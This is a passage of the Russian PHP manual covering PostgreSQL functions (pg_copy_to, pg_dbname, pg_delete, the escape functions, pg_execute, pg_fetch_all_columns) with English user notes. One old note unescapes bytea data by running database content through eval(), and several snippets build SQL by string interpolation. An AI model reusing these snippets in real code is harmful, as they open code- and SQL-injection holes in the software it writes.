Имя таблицы, из которой данные копируются в массив rows.

separator

Символ-разделитель, отделяющий значения полей в элементах массива rows. По умолчанию \t.

null_as

Этот параметр отвечает за то, как значения SQL NULL будут представлены в массиве rows. По умолчанию \\N ("\\\\N").

Возвращаемые значения

Массив (array), в котором каждый элемент - строка, полученная с помощью COPY или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_copy_to()

<?php
$db = pg_connect("dbname=publisher") or die("Невозможно подключиться");

$rows = pg_copy_to($db, $table_name);

pg_query($db, "DELETE FROM $table_name");

pg_copy_from($db, $table_name, $rows);
?>

Смотрите также

  • pg_copy_from() - Вставляет записи из массива в таблицу

User Contributed Notes

John M 12-Aug-2020 05:41
Worth noting here that just like the COPY TO statement in PostgreSQL, '$table_name' can include a list of columns or be a select query as well.
e.g.:
$rows = pg_copy_to($db,'schema."TableName" (column1, column2, ...)';
$rows = pg_copy_to($db,'(SELECT ...)');
etiger13 at gmail dot com 17-Nov-2009 11:14
You cannot specify the schema name in this command. You can change the search path for just one query by using the following code:

<?php
pg_query($conn, "SET search_path TO myschema;");

$copy_to = pg_copy_to($conn, 'tablename');

pg_query("RESET search_path;");
?>
setantae at submonkey dot net 27-Nov-2002 10:50
"It issues COPY TO SQL command internally to insert records"

I suspect this statement is incorrect, or that s/insert/retrieve/ is appropriate.


Определяет имя базы данных

  • « pg_copy_to
  • pg_delete »
  • PHP Manual
  • Функции PostgreSQL
  • Определяет имя базы данных

pg_dbname

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_dbname — Определяет имя базы данных

Описание

pg_dbname(?PgSql\Connection $connection = null): string

pg_dbname() возвращает имя базы данных, соответствующей экземпляру PostgreSQL connection.

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Строка, содержащая имя базы данных, соответствующей ресурсу connection.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_dbname()

<?php
error_reporting(E_ALL);

pg_connect("host=localhost port=5432 dbname=mary");
echo pg_dbname(); // mary
?>

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 12:37
This function is as simple as it sounds, it returns the name of the database your are currently connected to on the handle retrieved from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to database: " . pg_dbname($pgsql_conn) .
         " on " .  pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

[mark@prodigy][*][~/public_html/php]>>>php pg_dbname.php
Content-type: text/html
X-Powered-By: PHP/4.3.1

Successfully connected to database: mark on localhost<br/>

Again this function is much more useful when you are changing which database you are connected to in your program.

Regards,  --mark


Удаляет записи

  • « pg_dbname
  • pg_end_copy »
  • PHP Manual
  • Функции PostgreSQL
  • Удаляет записи

pg_delete

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_delete — Удаляет записи

Описание

pg_delete(
PgSql\Connection $connection,
string $table_name,
array $conditions,
int $flags = PGSQL_DML_EXEC
): string|bool

pg_delete() удаляет из таблицы записи, соответствующие ключам и значениям массива conditions.

Если flags указан, pg_convert() применяется к conditions с указанными флагами.

По умолчанию pg_delete() передаёт необработанные значения. Значения должны быть экранированы или опция PGSQL_DML_ESCAPE должна быть указана. PGSQL_DML_ESCAPE заключает в кавычки и экранирует параметры/идентификаторы. Поэтому имена таблиц/столбцов становятся чувствительными к регистру.

Обратите внимание, что ни экранирование, ни подготовленный запрос не защитят запрос LIKE, JSON, массив, регулярные выражения и т.д. Эти параметры должны обрабатываться в соответствии с их контекстами, т.е. следует экранировать/проверять значения.

Список параметров

connection

Экземпляр PgSql\Connection.

table_name

Имя таблицы, из которой удаляются записи.

conditions

Ассоциативный массив, ключи которого соответствуют именам полей таблицы table_name, а значения соответствуют удаляемым значениям в этих колонках.

flags

Комбинация констант PGSQL_CONV_FORCE_NULL, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC или PGSQL_DML_STRING. Если константа PGSQL_DML_STRING присутствует в аргументе flags, то функция вернёт строку, содержащую запрос. Если установлены PGSQL_DML_NO_CONV или PGSQL_DML_ESCAPE, то функция pg_convert() внутренне не вызывается.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Возвращает строку, если в аргументе flags передана константа PGSQL_DML_STRING.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_delete()

<?php
$db = pg_connect('dbname=foo');
// Это безопасно в некоторой степени, поскольку все значения экранируются.
// Однако PostgreSQL поддерживает JSON/массив. Для этих значений это не безопасно
// ни с через экранирование, ни с помощью подготовленного запроса.
$res = pg_delete($db, 'post_log', $_POST, PG_DML_ESCAPE);
if ($res) {
echo "Данные из POST удалены: $res\n";
} else {
echo "Пользователь отправил неверные входные данные\n";
}
?>

Смотрите также

  • pg_convert() - Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах

User Contributed Notes

27-Apr-2004 03:47
One should take care when checking the return value.
0 == false which is not equal with failed delete.

if(!$res)
  echo "Nothing was deleted";


Синхронизирует с бэкендом PostgreSQL

  • « pg_delete
  • pg_escape_bytea »
  • PHP Manual
  • Функции PostgreSQL
  • Синхронизирует с бэкендом PostgreSQL

pg_end_copy

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_end_copy — Синхронизирует с бэкендом PostgreSQL

Описание

pg_end_copy(?PgSql\Connection $connection = null): bool

pg_end_copy() синхронизирует данные между фронтендом PostgreSQL (обычно процессом веб-сервера) и сервером PostgreSQL после завершения копирования данных, совершенных с помощью функции pg_put_line(). Использование pg_end_copy() необходимо, чтобы избежать рассинхронизации сервера PostgreSQL с фронтендом и сообщений об ошибках.

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_end_copy()

<?php
$conn = pg_pconnect("dbname=foo");
pg_query($conn, "create table bar (a int4, b char(16), d float8)");
pg_query($conn, "copy bar from stdin");
pg_put_line($conn, "3\thello world\t4.5\n");
pg_put_line($conn, "4\tgoodbye world\t7.11\n");
pg_put_line($conn, "\\.\n");
pg_end_copy($conn);
?>

Смотрите также

  • pg_put_line() - Передаёт на PostgreSQL сервер строку с завершающим нулём

User Contributed Notes

There are no user contributed notes for this page.


Экранирует спецсимволы в строке для вставки в поле типа bytea

  • « pg_end_copy
  • pg_escape_identifier »
  • PHP Manual
  • Функции PostgreSQL
  • Экранирует спецсимволы в строке для вставки в поле типа bytea

pg_escape_bytea

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_escape_bytea — Экранирует спецсимволы в строке для вставки в поле типа bytea

Описание

pg_escape_bytea(PgSql\Connection $connection = ?, string $data): string

pg_escape_bytea() экранирует спецсимволы в строке с данными типа bytea. Возвращает экранированную строку.

Замечание:

При выборке SQL-функцией SELECT данных типа bytea PostgreSQL возвращает значения в восьмеричной системе счисления с префиксом '\' (такие как \032). Пользователю необходимо вручную преобразовывать их в двоичный формат.

Функция поддерживается PostgreSQL версии 7.2 и выше. Для версий 7.2.0 и 7.2.1 значения должны быть преобразованы к типу bytea, когда включена мультибайтовая поддержка. Тогда как INSERT INTO test_table (image)VALUES ('$image_escaped'::bytea); в PostgreSQL 7.2.2 и выше не требует каких-либо преобразований. Исключение составляет случай, когда клиентская (frontend) кодировка не соответствует серверной (backend). При этом возникает ошибка мультибайтового потока, и пользователь должен привести данные к типу bytea, чтобы её избежать.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

data

Строка, содержащая двоичные данные в виде текста, которые требуется поместить в поле типа bytea.

Возвращаемые значения

Возвращает строку, в которой экранированы все необходимые символы.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_escape_bytea()

<?php
// Подключение к базе данных
$dbconn = pg_connect('dbname=foo');

// Чтение бинарного файла
$data = file_get_contents('image1.jpg');

// Экранирование спецсимволов в строке с двоичными данными
$escaped = pg_escape_bytea($data);

// Вставка в таблицу базы данных
pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '{$escaped}')");
?>

Смотрите также

  • pg_unescape_bytea() - Убирает экранирование двоичных данных типа bytea
  • pg_escape_string() - Экранирование спецсимволов в строке запроса

User Contributed Notes

Hayley Watson 17-Jul-2017 02:56
PostgreSQL 9.0 introduced a new hexadecimal-based representation for bytea data that is preferred over the escaping mechanism implemented by this function.

<?php
function pg_escape_byteahex($binary)
{
    return "E'\\\\x".bin2hex($binary)."'";
}
?>
Michael 12-Mar-2014 03:10
using  pg_escape_bytea without 'E' escape tag
<?php
  // Die Binardaten maskieren
  $escaped = pg_escape_bytea($data);

  // und in die Datenbank einfugen (falsch/wrong)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped')");

  // und in die Datenbank einfugen (richtig/right)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '$escaped')");
?>
Mike-RaWare 08-Jul-2010 02:03
To prevent any problems with encoding you could use hexadecimal or base64 input to save and retrieve data to the database:

<?php
  // Connect to the database
  $dbconn = pg_connect( 'dbname=foo' );

  // Read in a binary file
  $data = file_get_contents( 'image1.jpg' );

  // Escape the binary data
  $escaped = bin2hex( $data );

  // Insert it into the database
  pg_query( "INSERT INTO gallery (name, data) VALUES ('Pine trees', decode('{$escaped}' , 'hex'))" );

  // Get the bytea data
  $res = pg_query("SELECT encode(data, 'base64') AS data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // Convert to binary and send to the browser
  header('Content-type: image/jpeg');
  echo base64_decode($raw);
?>
gglockner AT NOSPAMdwaffler DOT com 17-Jul-2009 02:13
If you're getting errors about nonstandard use of \\ in a string literal, then you need to escape the encoded bytea as follows:

<?php
$escaped = pg_escape_bytea($data);
pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped'::bytea)");
?>
ynzhang from lakeheadu of ca 18-Feb-2009 01:44
The reason pg_unescape_bytea() do not exactly reproduce the binary data created by pg_escape_bytea() is because the backslash \ and single quote ' are double escaped by the pg_escape_bytea() function. This will lead to image seems corrupted when retrieve from the bytea field. The proper way to escape&unescape a binary string into a PG bytea field as follow:

<?php
$escaped_data = str_replace(array("\\\\", "''"), array("\\", "'"), pg_escape_bytea($data));
/* and later unescape the escaped data from the bytea field with following to get the original binary data */

$original_data = pg_unescape_bytea($escaped_data));
?>

more details at: http://archives.postgresql.org/pgsql-php/2007-02/msg00014.php
Mocha 07-Aug-2003 05:20
to unescape_bytea use stripcslashes(). If you need to escape bytea and don't have pg_escape_bytea() function then use:

<?php
function escByteA($binData) {
  /**
   * \134 = 92 = backslash, \000 = 00 = NULL, \047 = 39 = Single Quote
   *
   * str_replace() replaces the searches array in order. Therefore, we must
   * process the 'backslash' character first. If we process it last, it'll
   * replace all the escaped backslashes from the other searches that came
   * before.
   */
  $search = array(chr(92), chr(0), chr(39));
  $replace = array('\\\134', '\\\000', '\\\047');
  $binData = str_replace($search, $replace, $binData);
  return $binData;
  //echo "<pre>$binData</pre>";
  //exit;
}
?>
php at tobias dot olsson dot be 17-Aug-2002 09:56
if you need to change back bytea from the db to normal data, this will do that:

<?php
function pg_unescape_bytea($bytea) {
return eval("return \"".str_replace('$', '\\$', str_replace('"', '\\"', $bytea))."\";");
}

// use like this
$rs = pg_query($conn, "SELECT image from images LIMIT 1");
$image = pg_unescape_bytea(pg_fetch_result($rs, 0, 0));
?>

/Tobias


Экранирует идентификатор для вставки в текстовое поле

  • « pg_escape_bytea
  • pg_escape_literal »
  • PHP Manual
  • Функции PostgreSQL
  • Экранирует идентификатор для вставки в текстовое поле

pg_escape_identifier

(PHP 5 >= 5.4.4, PHP 7, PHP 8)

pg_escape_identifier — Экранирует идентификатор для вставки в текстовое поле

Описание

pg_escape_identifier(PgSql\Connection $connection = ?, string $data): string

pg_escape_identifier() экранирует идентификатор (например, таблицу, имена полей) для выполнения запроса к базе. Возвращает экранированный идентификатор строки для сервера PostgreSQL. pg_escape_identifier() добавляет двойные кавычки до и после данных. Пользователи не должны добавлять двойные кавычки. Использование этой функции рекомендуется для параметров идентификаторов в запросах. Для SQL-литералов (то есть параметров, кроме bytea) необходимо использовать pg_escape_literal() или pg_escape_string(). Для типа поля bytea нужно использовать pg_escape_bytea().

Замечание:

Эта функция имеет внутренний код экранирования и может быть использована с PostgreSQL 8.4 и ниже.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

data

Строка (string), содержащая текст, который должен быть экранирован.

Возвращаемые значения

Строка (string), содержащая экранированные данные.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример выполнения pg_escape_identifier()

<?php
// Установить соединение с базой данных
$dbconn = pg_connect('dbname=foo');

// Экранировать данные имени таблицы
$escaped = pg_escape_identifier($table_name);

// Выбрать строки из $table_name
pg_query("SELECT * FROM {$escaped};");
?>

Смотрите также

  • pg_escape_literal() - Экранировать литерал при вставке в текстовое поле
  • pg_escape_bytea() - Экранирует спецсимволы в строке для вставки в поле типа bytea
  • pg_escape_string() - Экранирование спецсимволов в строке запроса

User Contributed Notes

There are no user contributed notes for this page.


Экранировать литерал при вставке в текстовое поле

  • « pg_escape_identifier
  • pg_escape_string »
  • PHP Manual
  • Функции PostgreSQL
  • Экранировать литерал при вставке в текстовое поле

pg_escape_literal

(PHP 5 >= 5.4.4, PHP 7, PHP 8)

pg_escape_literal — Экранировать литерал при вставке в текстовое поле

Описание

pg_escape_literal(PgSql\Connection $connection = ?, string $data): string

Функция pg_escape_literal() экранирует литерал для запроса базы данных PostgreSQL. Она возвращает экранированный литерал в формате PostgreSQL. pg_escape_literal() добавляет кавычки до и после данных. Пользователи не должны добавлять кавычки. Рекомендуется использовать эту функцию вместо pg_escape_string(). Если тип столбца - bytea, вместо него следует использовать pg_escape_bytea(). Для экранирования идентификаторов (например, таблицы, имён полей) необходимо использовать pg_escape_identifier().

Замечание:

Эта функция имеет внутренний код экранирования и может также использоваться с PostgreSQL 8.4 или младшей версии.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

data

Строка (string), содержащая текст для экранирования.

Возвращаемые значения

Строка (string), содержащая экранированный текст.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_escape_literal()

<?php
// Подключение к базе данных
$dbconn = pg_connect('dbname=foo');

// Чтение из текстового файла (содержащий апострофы и обратные косые черты)
$data = file_get_contents('letter.txt');

// Экранирование текстовых данных
$escaped = pg_escape_literal($data);

// Вставка их в базу данных. Обратите внимание, что вокруг {$escaped} нет кавычек
pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', {$escaped})");
?>

Смотрите также

  • pg_escape_identifier() - Экранирует идентификатор для вставки в текстовое поле
  • pg_escape_bytea() - Экранирует спецсимволы в строке для вставки в поле типа bytea
  • pg_escape_string() - Экранирование спецсимволов в строке запроса

User Contributed Notes

There are no user contributed notes for this page.


Экранирование спецсимволов в строке запроса

  • « pg_escape_literal
  • pg_execute »
  • PHP Manual
  • Функции PostgreSQL
  • Экранирование спецсимволов в строке запроса

pg_escape_string

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_escape_string — Экранирование спецсимволов в строке запроса

Описание

pg_escape_string(PgSql\Connection $connection = ?, string $data): string

Функция pg_escape_string() экранирует спецсимволы в строке запроса для базы данных. Она возвращает экранированную строку в формате PostgreSQL. Функция pg_escape_string() является наиболее предпочтительным способом экранирования SQL параметров для PostgreSQL, в то время как addslashes() не должна использоваться с PostgreSQL. Если тип столбца bytea, то должна использоваться функция pg_escape_bytea() вместо pg_escape_string. Функция pg_escape_identifier() должна использоваться для экранирования идентификаторов (например, имена таблиц или полей).

Замечание:

Функция поддерживается PostgreSQL версии 7.2 и выше.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

data

Исходная экранируемая строка.

Возвращаемые значения

Возвращает строку, в которой экранированы все необходимые символы.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_escape_string()

<?php
// Подключение к базе данных
$dbconn = pg_connect('dbname=foo');

// Чтение текстового файла (содержащего апострофы и обратные слеши)
$data = file_get_contents('letter.txt');

// Экранирование спецсимволов в строке
$escaped = pg_escape_string($data);

// Вставка в таблицу базы данных
pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', '{$escaped}')");
?>

Смотрите также

  • pg_escape_bytea() - Экранирует спецсимволы в строке для вставки в поле типа bytea

User Contributed Notes

efjiolvwejlojfwel at mailinator dot com 14-Dec-2017 01:36
Please, as a service to the Internet, add a note advising developers to use prepared statements and placeholders, and deprecate this function and its friends (but not pg_escape_identifier).
There is no valid reason to mix data and SQL into a single string before sending it to the RDBMS, and thus create the potential for SQL injection vulnerabilities. Hence, there is no need to escape data. Hence, there is no need for this function. It's confusing to offer developers functionality that they don't need and shouldn't use.
arunintellirise at gmail dot com 10-Oct-2017 06:30
PostgreSQL is a powerful and an open source object relational database having more than 15 years of active development and a proven architecture with an emphasis on extensibility and standards compliance. PostgreSQL primary functions are to store data securely and return that data in response to requests from other software applications that has earned it a strong reputation for reliability, data integrity and correctness which runs on all major operating system including Linux, UNIX and Windows. PostgreSQL is a cross platform which is open source and its source code is available free of charge that is not controlled by any corporation or other private entity. PostgreSQL also supports storage of binary large objects including picture, sound or video along with handles workloads ranging from small single machine applications to large internet facing applications with lots of concurrent users. PostgreSQL is highly scalable in the sheer quantity of data which support international character sets and multibyte character encodings.
if you know more aboutthis note then please visit on our website.
https://www.codesroom.com/blog/postgresql
ringerc at ringerc dot id dot au 25-Feb-2014 07:54
You should prefer to use pg_query_params, i.e. use parameterized queries, rather than using pg_escape_string. Or use the newer PDO interface with its parameterized query support.

If you must substitute values directly, e.g. in DDL commands that don't support execution as parameterized queries, do so with pg_escape_literal:

http://au1.php.net/manual/en/function.pg-escape-literal.php

Identifiers can't be used as query parameters. Always use pg_escape_identifier for these if they're substituted dynamically:

http://au1.php.net/manual/en/function.pg-escape-identifier.php

You should not need to change text encodings when using this function. Make sure your connection's client_encoding is set to the text encoding used by PHP, and the PostgreSQL client driver will take care of text encodings for you. No explicit utf-8 conversions should be necessary with a correctly set  client_encoding.
strata_ranger at hotmail dot com 07-Aug-2011 08:20
This may seem obvious, but remember that pg_escape_string escapes values for use as string literals in an SQL query -- if you need to escape arbitrary strings for use as SQL identifiers (column names, etc.), there doesn't seem to be a PHP function for that so you'll have to do that escaping yourself.  (PostgreSQL has an in-database function, quote_ident(), that does this.)

This can be an issue if your database contains mixed-case (or otherwise unusual) column names and you have a class interface managing your database/query interactions (for connecting to different types of databases).  If you don't double-quote your column names then postgreSQL will match them case-insensitively, but will label the results in all-lowercase (which differs from MySQL).

For example:

<?php
// Plain column identifier
$res = pg_query("Select columnName from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Doesn't work (throws E_NOTICE)
var_dump($row['columnname']); // Works

// Escaped column identifier
$res = pg_query("Select \"columnName\" from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Works
var_dump($row['columnname']); // Doesn't
?>
ppp 30-Jun-2011 12:55
pg_escape_string() won't cast array arguments to the "Array" string like php usually does; it returns NULL instead. The following statements all evaluate to true:

<?php
$a = array('foo', 'bar');

"$a" == 'Array';
(string)$a == 'Array';
$a . '' == 'Array';

is_null(pg_escape_string($a));
?>
strata_ranger at hotmail dot com 22-Jul-2010 10:40
Forthose curious, the exact escaping performed on the string may vary slightly depending on your database configuration.

For example, if your database's standard_conforming_strings variable is OFF, backslashes are treated as a special character and pg_escape_string() will ensure they are properly escaped.  If this variable is ON, backslashes will be treated as ordinary characters, and pg_escape_string() will leave them as-is.  In either case, the behavior matches the configuration of the database connection.
Nathan Bruer 08-Feb-2008 01:23
If your database is a UTF-8 database, you will run into problems trying to add some data into your database...

for securty issues and/or compatability you may need to use the: utf_encode() (http://php.net/utf8-encode) function.

for example:
<?php
$my_data = pg_escape_string(utf8_encode($_POST['my_data']));
?>
Gautam Khanna 29-Aug-2007 07:55
Security methods which you use depend on the specific purpose. For those who dont know, take a look at the following built-in PHP functions:

strip_tags()            to remove HTML characters
(also see htmlspecialchars)

escapeshellarg()      to escape shell commands etc
escapeshellcmd()

mysql_real_escape_string()     to escape mySQL commands.

Enjoy!

web dot expert dot panel at gmail dot com
johniskew2 at yahoo dot com 30-May-2006 09:43
For those who escape their single quotes with a backslash (ie \') instead of two single quotes in a row (ie '') there has recently been a SERIOUS sql injection vulnerability that can be employed taking advantage of your chosen escaping method.  More info here: http://www.postgresql.org/docs/techdocs.50
Even after the postgre update, you may still be limited to what you can do with your queries if you still insist on backslash escaping. It's a lesson to always use the PHP functions to do proper escaping instead of adhoc addslashes or magic quotes escaping.
meng 27-May-2006 04:21
Since php 5.1 the new function pg_query_params() was introduced. With this function you can use bind variables and don't have to escape strings. If you can use it, do so. If unsure why, check the changelog for Postgres 8.0.8.
otix 24-Apr-2006 03:43
Creating a double-tick is just fine. It works the same as the backslash-tick syntax. From the PostgreSQL docs:

The fact that string constants are bound by single quotes presents an obvious semantic problem, however, in that if the sequence itself contains a single quote, the literal bounds of the constant are made ambiguous. To escape (make literal) a single quote within the string, you may type two adjacent single quotes. The parser will interpret the two adjacent single quotes within the string constant as a single, literal single quote. PostgreSQL will also allow single quotes to be embedded by using a C-style backslash.


Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат

  • « pg_escape_string
  • pg_fetch_all_columns »
  • PHP Manual
  • Функции PostgreSQL
  • Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат

pg_execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_execute — Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат

Описание

pg_execute(PgSql\Connection $connection = ?, string $stmtname, array $params): PgSql\Result|false

Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат.

pg_execute() аналог функции pg_query_params(), только вместо строки с запросом принимает имя предварительно подготовленного SQL-запроса. Это позволяет многократно выполнять единожды созданные запросы с различными параметрами. Сам запрос должен быть заранее подготовлен в текущей сессии. pg_execute() поддерживается PostgreSQL версии 7.4 и выше. Функция не будет работать на соединениях с сервером ранних версий.

Аргументы функции те же, что и у pg_query_params(), за исключением имени предварительно составленного запроса, который передаётся вместо строки с запросом.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

stmtname

Имя подготовленного к исполнению запроса. Если передана пустая строка "", будет выполнен безымянный запрос. Имя и содержимое запроса должны быть подготовлены функцией pg_prepare(), pg_send_prepare() либо с помощью SQL-команды PREPARE.

params

Массив значений параметров запроса для замены псевдопеременных $1, $2 и т.д. в исходной строке запроса. Количество элементов массива должно точно совпадать с количеством псевдопеременных.

Внимание

Элементы массива будут преобразованы в строки.

Возвращаемые значения

Экземпляр PgSql\Result в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Result; ранее возвращался ресурс (resource).
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_execute()

<?php
// Подключение к базе данных "mary"
$dbconn = pg_connect("dbname=mary");

// Подготовка запроса
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Запуск запроса на выполнение. Стоит отметить, что нет необходимости экранировать
// спецсимволы в строке "Joe's Widgets"
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Запуск на выполнение того же запроса, но с другим параметром
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

Смотрите также

  • pg_prepare() - Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения
  • pg_send_prepare() - Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения
  • pg_query_params() - Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса

User Contributed Notes

There are no user contributed notes for this page.


Выбирает все записи из одной колонки результата запроса и помещает их в массив

  • « pg_execute
  • pg_fetch_all »
  • PHP Manual
  • Функции PostgreSQL
  • Выбирает все записи из одной колонки результата запроса и помещает их в массив

pg_fetch_all_columns

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_fetch_all_columns — Выбирает все записи из одной колонки результата запроса и помещает их в массив

Описание

pg_fetch_all_columns(PgSql\Result $result, int $field = 0): array

pg_fetch_all_columns() возвращает массив, содержащий все записи одной колонки экземпляра PgSql\Result.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

field

Номер колонки. Если параметр не задан, будет обработана первая (нулевая) колонка.

Возвращаемые значения

Массив значений колонки результата запроса.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_fetch_all_columns()

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
echo "Произошла ошибка.\n";
exit;
}

// Получить массив имён всех авторов
$arr = pg_fetch_all_columns($result, 1);

var_dump($arr);

?>

Смотрите также

  • pg_fetch_all() - Выбирает все данные из результата запроса и помещает их в массив

User Contributed Notes

spambin at ya dot ru 21-Nov-2013 11:48
pg_fetch_all_columns() returns array (empty array) even if the result set in empty (while pg_fetch_all() returns FALSE when the result set is empty)

<?
$result = pg_query("
    SELECT 'something'
    WHERE 1 = 2
");
var_dump( pg_fetch_all($result) ); // boolean false
var_dump( pg_fetch_all_columns($result) ); // array(0){}
?>
strata_ranger at hotmail dot com 04-Apr-2009 06:43
Unfortunate that pg_fetch_all_columns() doesn't support fetching a column by its name -- if you want to do that, you'll need to use pg_field_num() as an intermediary:

For example:

<?php

if ($foo)
  $cols = "email_address";

else
  $cols = "last_name, middle_init";

$result = pg_query("Select first_name, $info, birthday from users_table");

// Problem -- does column #2 refer to the 'birthday' or 'middle_init' field?
$array = pg_fetch_all_columns($result, 2);

// Won't work, must use a column number instead of its name
$array = pg_fetch_all_columns($result, 'birthday');

// Works
$array = pg_fetch_all_columns($result, pg_field_num($result, 'birthday'));

?>
massiv at nerdshack dot com 22-Oct-2008 05:56
php 4 equivalent:

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Get an array of all author names
$arr = array();
while ($line = pg_fetch_array($result)) {
  array_push($arr, $line['name']);
}

var_dump($arr);

?>


Выбирает все данные из результата запроса и помещает их в массив

  • « pg_fetch_all_columns
  • pg_fetch_array »
  • PHP Manual
  • Функции PostgreSQL
  • Выбирает все данные из результата запроса и помещает их в массив

pg_fetch_all

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_fetch_all — Выбирает все данные из результата запроса и помещает их в массив

Описание

pg_fetch_all(PgSql\Result $result, int $mode = PGSQL_ASSOC): array

pg_fetch_all() возвращает массив содержащий все записи экземпляра PgSql\Result.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

mode

